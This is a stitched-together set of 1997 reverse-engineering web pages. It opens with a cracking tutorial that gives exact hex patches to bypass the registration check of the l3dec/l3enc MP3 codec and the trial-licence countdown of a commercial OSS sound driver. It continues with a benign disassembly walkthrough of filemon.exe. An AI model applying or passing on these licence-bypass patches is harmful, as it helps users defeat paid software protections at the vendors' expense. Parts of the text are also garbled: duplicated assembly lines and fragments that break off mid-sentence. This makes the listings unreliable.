!!! DON'T YOU LOVE IT ? Reference to function : scanf 08058cbf call 08048ba8 08058cc4
leal 0x2c8(%esp,1),%eax 08058ccb pushl %eax; <<<< pushing eax 08058ccc pushl %esi;
<<<< pushing pointer 08058ccd call 08058f24; <<<< what happen here ? 08058cd2 addl
$0x20,%esp; <<<< fix stack 08058cd5 testl %eax,%eax; <<<< testing returned value
08058cd7 je 08058d78; <<<< jump good guy !!! 08058cdd leal 0x0(%esi),%esi; <<<< bad
guy !!!! Referenced from jump/call at 08058d46 ; Possible reference to string: "| |"
08058ce0 pushl $0x805abd0 08058ce5 pushl $0x8069640 Reference to function : fprintf
08058cea call 08048a58 Possible reference to string: "| This was no correct
registration code. |" 08058cef pushl $0x805adab 08058cf4 pushl $0x8069640 You are
cracking practically with source code :-). Let's have a look at this mysterious
function: Referenced from jump/call at 08058993 ; 08058a1c ; 08058a68 ; 08058ad0 ;
08058ccd ; ; a popular function it seems 08058f24 subl $0x8c,%esp 08058f2a pushl %ebp
08058f2b pushl %edi 08058f2c pushl %esi 08058f2d pushl %ebx 08058f2e movl
0xa0(%esp,1),%ebp 08058f35 leal 0x14(%esp,1),%edi Possible reference to string: "^D"
08058f39 movl $0x805afa0,%eax 08058f3e movl %eax,%esi 08058f40 cld 08058f41 movl
$0xe,%ecx 08058f46 repz movsl %ds:(%esi),%es:(%edi) 08058f48 xorb %al,%al 08058f4a
movl %ebp,%edi 08058f4c cld 08058f41 movl $0xe,%ecx 08058f46 repz movsl
%ds:(%esi),%es:(%edi) 08058f48 xorb %al,%al 08058f4a movl %ebp,%edi 08058f4c cld
08058f4d movl $0xffffffff,%ecx 08058f52 repnz scasb %es:(%edi),%al 08058f54 movl
%ecx,%eax 08058f56 notl %eax 08058f58 decl %eax 08058f59 cmpl $0xd,%eax 08058f5c ja
08058f70; <<< continue the endless function 08058f5e movl $0xffffff9c,%eax; <<< what
an ugly number ! 08058f63 popl %ebx 08058f64 popl %esi 08058f65 popl %edi 08058f66
popl %ebp 08058f67 addl $0x8c,%esp 08058f6d ret; <<< premature return Ok, the
function is called from different places, so it's easier to crack the function
instead the conditional jump. I leave my xoring friends to look for a right serial
number :-). The function is really endless, and may return the "bad-guy-value" in
some instructions after 08058f70, but changing mov instruction at 08058f5e, will do
unless you enter a long reg-number (crack the cmp, the ja or whatever you want if you
want to take ALL possibilities, I just feel tired :-). But where are the hex codes ?
ok, this instruction will return you the hot hexcodes in two seconds: objdump d
show-raw-insn l3dec | grep 08058f[5-6] (... two seconds later) 08058f52 f2 ae repnz
scasb %es:(%edi),%al 08058f54 89 c8 movl %ecx,%eax 08058f56 f7 d0 notl %eax 08058f58
48 decl %eax 08058f59 83 f8 0d cmpl $0xd,%eax 08058f5c 77 12 ja 08058f70 08058f5e b8
9c ff ff ff movl $0xffffff9c,%eax 08058f63 5b popl %ebx 08058f64 5e popl %esi
08058f65 5f popl %edi 08058f66 5d popl %ebp 08058f67 81 c4 8c 00 00 00 addl
$0x8c,%esp 08058f6d c3 ret 08058f6e 8d 36 leal (%esi),%esi I told you it was ugly.
Run your favorite hexeditor (unix or dos) and change: 08058f5e b8 9c ff ff ff movl
$0xffffff9c,%eax to: 08058f5e b8 00 00 00 00 movl $0x00000000,%eax; Ok, a
register.inf file (just your reg-number) will appear, and DECODE for ever. You must
crack also l3enc, but the protection is exactly the same. BTW, this layer III guys
want you to pay 402,50 DM for this software. 2)
http://www.4front-tech.com/download.cgi What the hell is this again ? Well, as I told
linux kernel (until now) doesn't support my soundcard (at least the way I deserve
:-), and these guys "promise" to support my card loading a module. What are modules
in linux ? A module is a piece of code that adds functionalities to the kernel, and
it can be loaded and unloaded whenever you want (it is not a dos device driver but if
you are happy thinking so it will help). At this location you may download the
archive according to your kernel (in my case kernel 2.0.0 or above ). They say you
may use it for free 7 days. It is not expensive software, but there are two things I
dislike of this software: * If you uninstall it and install it again, even if you are
in your first day (I can tell you a thousand innocent reasons for doing so), you are
punished as if you had been using it for a week (with a toy trick BTW). * Second and
worse, it doesn't work (mi gozo en un pozo otra vez). Apparently you are allowed to
use it for a week with no restrictions. After a week, you may use it for 20 minutes
and then reload the module. At the end of the month you are not allowed to use it
anymore (unless you remove it completely. Even the "secret" /etc/oss.conf file :-).
Looking in the directory created I find a file license.asc with PGP SIGNATURES Wow !
What a hard protection ! Everytime I run the program (soundon) I get this message:
This product is licensed for evaluation purposes only. License will expire after:
09/1997 Write it down. Advance the system date a couple of months and it snaps: This
product is licensed for evaluation purposes only. License expired: 09/1997 Please
download a fresh version from http://www.4front-tech.com Failed to activate the
driver Probably caused by a technical problem or by missing or invalid licence. See
/usr/local/lib/oss/soundon.log for more info. Pretty chapucero no ? Well, but advance
it before license ends and ... This product is licensed for evaluation purposes only.
License will expire after: 09/1997 OSS: 1196 seconds of evaluation time left A nasty
countdown. Ahora toca joder al usuario. Now that we have the facts, use the
marvellous grep command and locate the evil files. License expired & License will
expire> FILE sndconf
seconds of evaluation time left -> FILE modules/soundbase
Every
c7 85 84 fd ff ff 00 00 00 00 movl $0x0,0xfffffd84(%ebp)
changes to:
c7 85 84 fd ff ff 01 00 00 00 movl $0x1,0xfffffd84(%ebp);ALWAYS GOOD!
You'll notice that the message even disappear. But we must get rid of
the countdown too. Dasm soundbase and look for "seconds" (you may see
that this file has line information):
If i'm honest i don't like this variety. If you look for hits for the
FIRST key variable 0x1148 (apparently 0x1148=0 is a good thing), it
is never (directly) assigned to 0. I don't like, perhaps it works,
but I do prefer the other two options (that deal with the same thing).
Change:
SiuL+Hacky
(c) SiuL+Hacky 1997. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more) parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = Back to Main
E = VXD vagaries and mysteries
Although already disponible, this essay is still under construction and will be modified and ameliorated until the
wording below will disappear (I reckon until mid-september)
UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2a)
How to reverse engineer a Windows 95 program
~
Part A: Introduction to filemon.exe
Introduction
You may have already read the short essay (divided in two parts) that I published one year ago, reverse
engineering Filemanager for Windows 3.1. Since we are all now dealing mostly with Windows 95 programs (it's
not our choice - alas - but a Micro$oft's imposition that everybody accepts, against any sound logic :-) it suits us
well to examine the "deep" structure of filemon.exe, Version 2.0, by By Mark Russinovich and Bryce Cogswell, a
pretty useful program, released with its c source code at the beginning of the year. You may want to download also
the LAST version of this good tool (version 3.0), released in July, at http://www.ntinternals.com, where you'll find
also its companion utility regmon.exe and the Windows NT versions of both tools with complete c++ source code.
Yet for this essay download from my site version 2 of filemon.exe with its source code, this is all what you'll
need.
As usual, when you start a cracking session, first of all run the program, try all its options (there are not many
options inside this target) and, last but not least, print the complete C source code (15 "A4" sheets). Since we have
already the C source code of this program this lesson will be a "false" reverse engineering exercise: we are not
going to find anything hidden or new, nor many secret tricks in here... yet I believe that many of you will find
pretty useful our work below, since analogous structures will more or less be present inside UNKNOWN code,
inside other targets, that you'll try to reverse engineer on your own.
Another (very) interesting point in this program is its use of a virtual device driver (VXD) for the filtering of all
file system accesses... VXD reverse engineering is a branch in its own rights, as you will see.
Here you go: all the files you'll find inside filsrc.zip:
Searching ZIP: FILSRC.ZIP
VXD/FILEVXD.SYM
1480 DeflatN 373 75% 16-03-97 20:47 031f6484 --w-
VXD/FILEVXD.EXP
16015 DeflatN 7090 56% 16-03-97 20:47 ce4c6ba6 --w-
VXD/FILEVXD.VXD
6212 DeflatN 1699 73% 16-03-97 20:47 ce4845f1 --w-
VXD/FILEVXD.MAP
15675 DeflatN 6009 62% 16-03-97 20:47 7702cbad --w-
VXD/FILEMON.OBJ
1384 DeflatN 364 74% 16-03-97 20:47 1ec43719 --w-
VXD/FILEVXD.LIB
313 DeflatN 194 39% 05-12-95 02:01 317f17cc --w-
VXD/FILEVXD.VRC
452 DeflatN 283 38% 23-11-96 18:36 0ea560c5 --w-
VXD/FILEVXD.RES
82944 DeflatN 5012 94% 16-03-97 20:47 f7db1ed0 --w-
VXD/FILEVXD.PDB
84457 DeflatN 12255 86% 24-11-96 04:47 6f9a8ab8 --w-
VXD/TEST.FIL
35430 DeflatN 7703 79% 16-03-97 20:45 2fc85672 --w-
VXD/FILEMON.C
1139 DeflatN 509 56% 16-03-97 20:24 e642c40b --w-
VXD/IOCTLCMD.H
1557 DeflatN 582 63% 16-03-97 20:25 395d7317 --w-
VXD/FILEMON.H
------ ------ ---
-------
455915 93176 80%
28
We'll reverse engineer two files: filemon.exe and filevxd.vxd. We'll begin with filemon.exe. The reverse
engineering of this program will be COMPLETE, since its various parts will be useful -for you- in order to learn
some of the different aspects and techniques (and tricks) of our trade. Be patient and wade slowly through the code
of this target, I'll keep you on the right path.
'Dead listing' reverse engineering, as +ORC calls it, is a slow "puzzle solving" process: the intellectual challenge
can be extremely interesting, btw.
We will NEVER use Winice in this essay, as it is NOT NECESSARY to use our powerful debugger to understand
EVERYTHING a target does, as you'll see reading this essay.
Some elementary MUST KNOW that you should head before starting a cracking session:
At the beginning there are no names... only a sea of numbers, hundred of different locations... that's your target "in
the wild", roaming around with unnamed procedures, before you tame it to clarity.
Soon some little islands will appear... their form still indeterminate... slowly you'll understand what some
procedures of your target (should) do... for instance here in filemon (as in almost all programs you'll disassemble)
it's pretty easy to individuate the "FileSaving" function, using simple search masks inside the dead listing.
Searching you'll quickly get to this part of your dead listing:
OK, we have finished our quick examination of the small snippet above... would you like to know what it was
exactly? It correspond to the following 6 lines of "c" code, placed inside the main "switch" tree (for
WM_COMMAND) of the MainWndProc:
case IDM_SAVE:
SaveFile( hWnd, hWndList, FALSE );
return 0;
case IDM_SAVEAS:
SaveFile( hWnd, hWndList, TRUE );
return 0;
Note the 4 parameters of the Messagebox function: from left to right: hWnd, Msg, "progname", MB_OK... as
you'll now see, in assembly they will be pushed in REVERSE ORDER: MB_OK, "progname", Msg, hWnd,
And here is the code of our target
The C calling convention pushes rightmost first and discards parameters from stack;
The Pascal calling convention pushes leftmost first and the called program discards the parameter from the stack.
It's therefore quite important to understand first of all wich convention uses your target, which is pretty easy, since
you just need to have a look to a known windows function.
Parameter Description
is used.
fuStyle Specifies the contents and behavior of the dialog
box.
This parameter can be a combination of the
following values:
Value Meaning
Comments
When a system-modal message box is created to indicate that the
system is
low on memory, the strings pointed to by the lpszText and
lpszTitle
parameters should not be taken from a resource file, because an
attempt
to load the resource may fail.
See Also
FlashWindow, MessageBeep
OK, we have seen "in the deep" a single Windows' function, you would be well advised to prepare yourself some
"information sheets", like the above one, for your own use, about the most important and more frequent windows
functions, WITH the values of the constants that windows uses... you'll see how easy it is to understand what an
unknown part of a program is doing just examining how it handles the DIFFERENT possible return values...
This is obviously not the case here... remember what we are doing, we are just examining an "ABORT" error
function, an anormal function that will show the user only a short error message and offer him the OK button to
click onto... you could modify the code at
:00401004 6A00 push 0 ;push right parameter: MB_OK
(=0)
into:
:00401004 6A01 push 1 ;push right parameter:
MB_OKCANCEL (=1)
Yet modifying this code would not make much sense: you would see two push buttons: OK and Cancel, only in the
event of an error (a pretty futile reverse engineering exercise :-)
The following function, inside our C source code, is WinMain... since WinMAin is a KNOWN function (which
usually calls InitInstance and InitApp before entering a ghetmaessage loop), WinMain will be one of the LAST
code snippets that we'll reverse, we'll see first a lot of other, more or less "home-made" procedures that we'll
"solve" first (once more: we have the c source code of this target, yet my aim is to teach you how to reverse
engineer targets you DO NOT have the source code of, we'll soon operate AS IF we did not have any source code
at all, bear with me :-)
We'll pass to the next procedure, the one after Winmain. This is a standard InitApp procedure (as you'll see in the
FOURTH) part of this lesson) here is its C source code:
/****************************************************************************
* FUNCTION: InitApplication(HANDLE)
* PURPOSE: Initializes window data and registers window class
****************************************************************************/
BOOL InitApplication( HANDLE hInstance )
{ WNDCLASS wc;
// Fill in window class structure with parameters that
describe the
// main (statistics) window.
wc.style = 0;
wc.lpfnWndProc = (WNDPROC)MainWndProc; !!!!
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon( hInstance, "ICON" );
wc.hCursor = LoadCursor( NULL, IDC_ARROW );
wc.hbrBackground = GetStockObject( LTGRAY_BRUSH );
wc.lpszMenuName = "LISTMENU";
wc.lpszClassName = "filemonClass";
if ( ! RegisterClass( &wc ) )
return FALSE;
return TRUE;
}
FUNCTION: InitApplication(HANDLE)
* Referenced by a CALL at Address:0040102B
BOOL InitApplication( HANDLE hInstance)
This function fills in the window class structure with parameters that describe the main (statistics) window of our
target... it's one of the main "initializing" functions of our target
if (! InitApplication(hInstance))
return FALSE;
Which is a part of WinMain, btw.
A Windows is born
This huge operating system will now perform its most characteristic work: create a Window. Prepare yourself
another cocktail, this will take quite a while...
/****************************************************************************
* FUNCTION: InitInstance(HANDLE, int)
* PURPOSE: Saves instance handle and creates main window
****************************************************************************/
HWND InitInstance( HANDLE hInstance, int nCmdShow )
{ HWND hWndMain;
hInst = hInstance;
hWndMain = CreateWindow(
nWidth, nHeight,
hwndParent, hmenu, hinst, lpvParam)
here in filemon, Windows selects a default width and height for the window (the default width extends from the
initial x-position to the right edge of the screen, and the default height extends from the initial y-position to the top
of the icon area). CW_USEDEFAULT is valid only for overlapped windows.
nHeight is CW_USEDEFAULT, as above for the
height
hwndParent is NULL. This value identifies the parent or
owner window of the
window being created. Overlapped windows must
NOT have a parent
(hParent must be NULL)
hMenu is NULL, handle of menu identifier
hInstance is the value in eax, and identifies the
instance of the module to
be associated with the window.
LpvParam is the WM_CREATE param
Well, what returns CreateWindow? The return value is the handle of the new window if the function is successful.
Otherwise, it is NULL. Everything is OK with old good filemon, let's continue...
A window has been "made" it's name is hWndMain let's show it to the world
UpdateWindow(hWndMain);
:00401182 56 push esi ; hWndMain (handle was in esi)
:00401183 FF15F0B24400 Call dword ptr [0044B2F0]
;USER32.UpdateWindow, Ord:024Fh
:00401189 8BC6 mov eax, esi ;return to WinMain with
hWndMain in eax
:0040118B 5E pop esi ;let's have the old esi back
:0040118C C3 ret
If you never programmed before, you could legitimately ask yourself why the hell we have to show and update a
window we have created a minute ago... see: ShowWindow specifies how the window is to be shown... hide=0,
normal=1, otherzoom=2, maximize=3, otherunzoom=4, show=5 etc... therefore the value in esp+0C determines
HOW the windows will appear, and it has been already determined calling WinMain, which has following
parameters: int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow), the last "int" one being the nCmdShow... have a look in the code following the program entry
point for this.
Once show, the window must be updated. The UpdateWindow function updates the client area of our window by
sending a WM_PAINT message to the window if the update region for the window is not empty. The function
sends a WM_PAINT message directly to the window procedure, bypassing the application queue. If the update
region is empty, no message is sent.
We are now finished with the InitInstance procedure, have our nice main window, must move on: back to
WinMain!
:WinMain continued
:0040105F 8D44240C lea eax, [esp + 0C] ;
:00401063 6A00 push 00000000
:00401065 6A00 push 00000000
:00401067 8B3500B34400 mov esi, [0044B300]
:0040106D 6A00 push 00000000
:0040106F 50 push eax
:00401070 FFD6 call esi
:00401072 85C0 test eax, eax
:00401074 742B je 004010A1
:00401076 8B3D94B24400 mov edi, [0044B294]
:0040107C 8B1D8CB24400 mov ebx, [0044B28C]
Well, we'll continue with another lesson, we have almost 50.000 bytes here!
(c) fravia+ 1997. All rights reserved.
You are deep inside fravia's page of reverse engineering, choose your way out:
filemon2 filemon3 filemon4 filemon5
Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = Back to Main
E = VXD vagaries and mysteries
Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-september)
UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2b)
How to reverse engineer a Windows 95 program
Filemon.exe Version 2
(Part B: Reverse engineering without source code)
by Fravia (MSRE), August 1997
Well, in the first part of this essay we have got an "introduction" to the structure of filemon.exe,
let's have a "global" look before continuing...
The structure of our target
Have a look at your C source code, smack at the beginning:
usual #includes
Note that among the various "standard" includes there is an #include resource.h and an #include
/vxd/ioctlcmd.h... there you'll find "homemade" IDs since, as applications grow, Micro$oft's
developer studio defines for the programmers a number of new IDs (symbols). This are MOST
important for reverse engineering purposes... have a look at the RESOURCE.H file, for instance.
(Note, moreover, that the "windowsx.h" included file is, among other API-macro functions, the
official "window message crackers" file :-)
usual #defines
(check also the #defines inside the #includes)
usual variable declarations
usual procedure declarations
And then, the c code for the various functions of this winprogram:
01) FUNCTION Abort ;This, as we have already seen, starts at 1000
02) FUNCTION WinMain
03) FUNCTION InitApplication ;This, as we have already seen, starts at 10B0
04) FUNCTION InitInstance ;This, as we have already seen, starts at 1130
05) FUNCTION MainWndProc
06) FUNCTION Split
07) FUNCTION List_Append
08) FUNCTION UpdateStatistics
09) FUNCTION CreateListView
10) FUNCTION SaveFile ;This, as we have already seen, starts at 1C20
11) FUNCTION FilterProc
12) FUNCTION About
:Location_List
:00401000 ; START OF CODE SEGMENT (Error handling: Abort function)
:1020 ; (2626 calls)
:10B0 ; (102B calls) ;This is InitApplication
:1130 ; (1048 calls) ;This is InitInstance
:1750 ; (17A9 calls)
:1790 ; (1AFB calls)
:1A40 ; (166E and 16E5 calling)
:1B50 ; (124A calls)
:1C20 ; (1579 and 1596 calling); This is SaveFile
:21CC ; (1D0C calls)
:21E0 ; (1276, 1288, 129A, 20A2, 20B9, 20CB calling)
....
:004024E0 ;program entry point
...
And so on, and so on, there are many more routines (the target's listing reaches :0040696E) but, as
you can see from the Location_List above, the FUNCTIONS we are looking for are evidently
situated in the same (first) part of the code, in a sequence that recalls the C listing's one.
Besides, note how the routine starting at 21E0 is called from six different points... typical of a
"inner working" routine as opposite to a function, that's the reason I did not listed the following
routines beteen this 210 and "program entry point".
If you are unsure just have a look... examining routines, you'll get an idea of what they are about,
and there is a quick "automated" routine sniffing trick ("climbing the tree"), that you'll learn in the
third part of this essay...
Let's first of all discuss the "program entry point" sequence, a code snippet that you'll find
ALWAYS, with the usual small variations, inside all windows programs.
Here at program entry, before calling WinMain, we have the "usual" preparation performed by all
(compiled) windows programs.
See - at program entry - the following sequence of "catering" routines:
GetVersion-HeapCreate-Variable
setting-GetStartupInfo-GetFileType-SetHandleCount-GetCommandLineA (btw: you should
investigate, on more obscure targets, this "GetCommandLine" part of the code, in order to see if
there are, "secret" argument switches that you could trigger starting your target :-);
GetStartupInfoA, GetModuleHandleA, and then we find following call:
Indeed, if you look at our target's Location_List above, you'll see that this 1020 address is the only
possible function's entry between 1000 (start of code and Abort function, as we have already seen)
and 10B0 (InitApplication function). Then follow 1130 (InitInstance function), and what do we
have thereafter? 1750, 1790, 1A40 1B50 and 1C20 (and this we know already! It's the SaveFile
function!)
These four functions' entry points should correspond, respectively, to the C source code functions
MainWndProc, Split, List_Append, UpdateStatistic and CreateListView... mmm... bad! 4 routines
in assembly and 5 functions in C... let's have a closer look at everything!
:loop_1762_call 2260
:00401762 8907 mov [edi], eax ;get ax in [edi] holder
:00401764 83C704 add edi, 4 ;increase holder
:00401767 43 inc ebx ;we are counting (cnt++)
:00401768 56 push esi ;rightmost param for call
:00401769 50 push eax ;leftmost param, loop
increased
:0040176A E8F10A0000 call 00402260 ;call 2260 (with increased
ax)
:0040176F 83C408 add esp, 8 ;correct stack
:00401772 85C0 test eax, eax ;is it 0?
:00401774 7406 je 0040177C ;exit loop if 0 returned
:00401776 C60000 mov byte ptr [eax], 0 ;else zero *[ax]
:00401779 40 inc eax ;returned value =returned
value+1
:0040177A EBE6 jmp 00401762 ;loop back
:exit_loop
:0040177C 8BC3 mov eax, ebx ;this, ebx is the value
:0040177E 5F pop edi ;returned by this function,
:0040177F 5E pop esi ;it corresponds to cnt in the
:00401780 5B pop ebx ;c code and corresponds to the
:00401781 C3 ret ;number of loops and 2260 calls
So, what does this function do? It's substantially a loop, calling ANOTHER routine until this one
returns zero!... Looks like a for construction, therefore we are most probably looking at the SPLIT
function (which is the first one in our c source code with such a construction!).
If we have a look at the 2260 routine that this function calls at each loop, we'll see that it's main
purpose is to manipulate the value in ax (with a couple of loops).
Since the split function is in turn called from the List_Append function, let's go on, and examine
the next function in our disassembled text, at 1790. This function is connected to the previous one
(which is called after a couple of pushes), and it calls in turn a sequence of string operations
(lstrlenA, wsprintfA) before sending a Message
We have obviously to do with a string manipulation function... we will in short imagine that we
DO NOT have the source code of our target, and we'll see what we can figure out, but first, since
in the reality we know that this is the List_Append function, let's have a look at the beginning of
List_Append, here below, which coincides with the following three lines of c code:
itemcnt = itemcnt= Split( line, '\t', items );
if ( itemcnt == 0 )
return TRUE;
These lines translate into:
lstrlen(lpszString)
LPCSTR lpszString; /* address of string to count*/
The lstrlen function returns in bytes the length of the specified
string (not including the terminating null character).
(see below)
:00401844 56 push esi ;push hWnd
:00401845 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessageA
:0040184B 83F8FF cmp eax, FFFFFFFF ;returned -1?
:0040184E 8BF8 mov edi, eax ;save returned
result (row)
:00401850 0F85A6000000 jne 004018FC ;-1, let's exit
big verify
:00401856 55 push ebp ;else let's prepare
error message
:00401857 6898814000 push 00408198 ;"Error adding item
%d to list view"
:0040185C 68A0944000 push 94A0=Strings_buffer;address of
output string
:00401861 FF15BCB24400 Call dword ptr [0044B2BC]
;USER32.wsprintfA, Ord:262h
:00401867 83C40C add esp, C ;correct stack
:0040186A 6A00 push 0 ;push MB_OK
:0040186C 6888814000 push 00408188 ;"filemon Error" is
WMsgParam
:00401871 68A0944000 push 004094A0 ;previous string is
the message
:00401876 56 push esi ;push usual hWnd
:00401877 FF1590B24400 Call dword ptr [0044B290]
;USER32.MessageBoxA, Ord:195h
:0040187D 33C0 xor eax, eax ;exit routine with a
return FALSE
:0040187F 5D pop ebp ;pop them all
:00401880 5F pop edi
:00401881 5E pop esi
:00401882 5B pop ebx
:00401883 81C4A0000000 add esp, A0
:00401889 C3 ret ;exit FALSE
:here_from_start_if_no_need_to_big_verify
:0040188A 8BB424B4000000 mov esi, [esp + B4] ;get hWnd
:00401891 6A00 push 0 ;lMsgParam2
:00401893 C744243C04000000 mov [esp + 3C], 4
:0040189B C744244400000000 mov [esp + 44], 0
:004018A3 6A00 push 0 ;wMsgParam1
:004018A5 6804100000 push 1004 ;message 1004
:004018AA 56 push esi ;usual window
:004018AB FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessageA, Ord:01D9h
:004018B1 8D78FF lea edi, [eax-01] ;edi = return-1
:004018B4 8BAC24B8000000 mov ebp, [esp + B8]
:004018BB 85FF test edi, edi ;OK SendMessage?
:004018BD 7C24 jl 004018E3 ;do not little loop
if lower
:little loop
:004018BF 8D442438 lea eax, [esp + 38] ;get
lMsgParam2
:004018C3 897C243C mov [esp + 3C], edi ;save edi
:004018C7 50 push eax ;lMsgParam2
:004018C8 6A00 push 0 ;wMsgParam1
:004018CA 6805100000 push 1005 ;message
1005
:004018CF 56 push esi ;usual
window
:004018D0 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessageA, Ord:01D9h
:004018D6 85C0 test eax, eax ;test result
:004018D8 7406 je 004018E0 ;continue if zero
:004018DA 396C2458 cmp [esp + 58], ebp ;else check if
[sp+58]=bp
:004018DE 7403 je 004018E3 ;and exit little
loop if it is
:004018E0 4F dec edi ;edi lowered
:004018E1 79DC jns 004018BF ;little loop
:process block
:004018FC 85DB test ebx, ebx ;SWITCH
ebx=0?
:004018FE 7E3B jle 0040193B ;go to next
block if le 0
:00401900 8B442460 mov eax, [esp + 60] ;get next
Oemstring
:00401904 803800 cmp byte ptr [eax], 00 ;finish
Oemstring?
:00401907 7432 je 0040193B ;go to next
block if so
:00401909 68A0944000 push 94A0=Strings_buffer
;translate here
:0040190E 8B2DB0B24400 mov ebp, [0044B2B0] ;OemToChar
address
:00401914 50 push eax ;push
Oemstring
:00401915 FFD5 call ebp ;call
OemToChar
:00401917 C744241801000000 mov [esp + 18], 1 ;PARAMETER 1
(PROCESS)
:0040191F C7442424A0944000 mov [esp + 24], 94A0=Strings_buffer
:00401927 8D4C2410 lea ecx, [esp + 10]
:0040192B 51 push ecx
:0040192C 57 push edi
:0040192D 682E100000 push 102E ;message 102E
(1=ROCESS)
:00401932 56 push esi
:00401933 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessage_102E
:00401939 EB06 jmp 00401941 ;continue
OemToChar address
:continue_request_block
:00401941 83FB01 cmp ebx, 1 ;switch
ebx=1
:00401944 7E33 jle 00401979 ;next
block if le 1
:00401946 8B442464 mov eax, [esp + 64] ;get
Oemstring
:0040194A 803800 cmp byte ptr [eax], 00 ;finish
Oemstring?
:0040194D 742A je 00401979 ;next
block if so
:0040194F 68A0944000 push
94A0=Strings_buffer;traslate here
:00401954 50 push eax ;push
Oemstring
:00401955 FFD5 call ebp
;OemToChar
:00401957 C744241802000000 mov [esp + 18], 2 ;PARAMETER 2
(REQUEST)
:0040195F C7442424A0944000 mov [esp + 24],
94A0=DataAreaStrings
:00401967 8D442410 lea eax, [esp + 10]
:0040196B 50 push eax
:0040196C 57 push edi
:0040196D 682E100000 push 102E ;message
102E (2=REQUEST)
:00401972 56 push esi
:00401973 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessage_102E
Well, you've seen already two of the switch blocks, there are three more, and they are all the
same... therefore I'll print below only the first, the relevant and the last isntruction of each one of
them...
:continue_path_block
:00401979 83FB03 cmp ebx, 3 ;switch ebx=3?
See above comments
...
:0040198F C744241803000000 mov [esp + 18], 3 ;PARAMETER 3
(PATH)
...
:continue_result_block
:004019B1 83FB02 cmp ebx, 2 ;switch ebx=2? See
above comments
...
:004019C7 C744241804000000 mov [esp + 18], 4 ;PARAMTER 4
(RESULT)
...
:004019E3 FF15D8B24400 call dword ptr [0044B2D8]
;USER32.SendMessage_1025
:continue_block_other
:004019E9 83FB03 cmp ebx, 3 ;switch ebx=3? See above
comments
...
:004019FF C744241805000000 mov [esp + 18], 5 ;PARAMETER 5
(OTHER)
...
:00401A1B FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessage_1025
Yes... but return WHERE? Who called List_Append? Let's have a look...
[1790-1A30]:List_Append... Therefore let's look who has called 1790, here you are:
:00401AFB E890FCFFFF call 00401790List_Append
This is the only call to List_Append inside our target, and it comes from the NEXT routine, which
starts at 1A40. We will examine it very soon, but what about the big MainWndProc?
We could have found the beginning of MainWndProc also with a simpler method: checking THE
END of the routines we have already investigated... if you remember the first part of this essay,
InitInstance terminated with
UpdateWindow(hWndMain);
return hWndMain;
which translates into:
UpdateWindow(hWndMain);
:00401182 56 push esi ; hWndMain (handle was in esi)
:00401183 FF15F0B24400 Call dword ptr [0044B2F0]
;USER32.UpdateWindow, Ord:024Fh
:00401189 8BC6 mov eax, esi ;return to WinMain with
hWndMain in eax
:0040118B 5E pop esi ;let's have the old esi back
:0040118C C3 ret
And, as you can see, the code that immediately follows (after three "CC") is, as it is logical to
expect and as the information from WNDCLASS has already told us, the beginning of
MainWndProc, which is "automatically" (and logically) initiated once the various InitInstance
create, show and update window procedures have terminated...
Have windows... program may start!
Alas we are not yet ready for the reverse engineering of MainWndProc. We need some more
"muscles" first. Let's go on with the function which follows (and calls) List_Append... we'll come
back to MainWndProc don't worry: you'll master this application like nobody else!
Let's have a look at the next function after List_Append, it's of course the "UpdateStatistics"
function, but ignore the C source code alone for a while, just follow the disassembled code... I'll
keep your hand:
This function is SendMessage, can you feel it? (If not ook inside your disassembled listing for
"44B2D8" :-) Therefore the above call corresponds to SendMessage(hwnd, 1004, NULL, NULL)
:loop_1A9F_call_SendMessage_1008
:00401A9F 6A00 push 00000000 ;since ebp has
not changed,
:00401AA1 6A00 push 00000000 ;we use it to
SendMessage
:00401AA3 6808100000 push 00001008 ;Number 1008
:00401AA8 56 push esi ;always to the
same window
:00401AA9 FFD5 call ebp ;call
SendMessage(hWnd,1008,NULL,NULL)
:00401AAB 4B dec ebx ;cnt--
:00401AAC 75F1 jne 00401A9F ;loop until cnt=0
:after_loop_1A9F_call_SendMessage_1008
:00401AAE C6056C80400000 mov byte ptr [0040806C], 00
;[806CSEndMsg1008]=FALSE
:00401AB5 A1BC964000 mov eax, [004096BC] ;Want my old ax
back
:00401ABA 50 push eax ;as parameter for
next call
:00401ABB FFD7 call edi ;call
SetCursorA(ax)
:00401ABD FF15C4B24400 Call dword ptr [0044B2C4]
;USER32.ReleaseCapture
:00401AC3 EB0A jmp 00401ACF ;continue without
updating
:From_entrance_if_Main_param=zero_but_[96B4]>6
:00401AC5 8B742418 mov esi, [esp + 18] ;update esi
:00401AC9 8B2DD8B24400 mov ebp, [0044B2D8] ;ebp must
point to SendMessage
:continue_from_SendMessage_1008_loop
:00401ACF BBF0994000 mov ebx, 004099F0 ;pointer to the data
area
:00401AD4 A1B4964000 mov eax, [004096B4] ;get this value in
ax
:00401AD9 03C3 add eax, ebx ;check and
:00401ADB 3BC3 cmp eax, ebx ;if [4096B4]=0
:00401ADD 7632 jbe 00401B11 ;do not
loop_1ADF_List_Append
:loop_1ADF_List_Append
:00401ADF 8D5304 lea edx, [ebx+04] ;get parameter
:00401AE2 B9FFFFFFFF mov ecx, FFFFFFFF ;prepare counter
:00401AE7 8BFA mov edi, edx ;get correct value for scasb
:00401AE9 2BC0 sub eax, eax ;repnz condition
:00401AEB F2 repnz ;repeat while not equal
:00401AEC AE scasb ;this compare string operation
:00401AED 52 push edx ;parameter (char*line)
:00401AEE 8B03 mov eax, [ebx] ;get parameter (seg)
:00401AF0 F7D1 not ecx ;count how many scasb
:00401AF2 50 push eax ;parameter (seq)
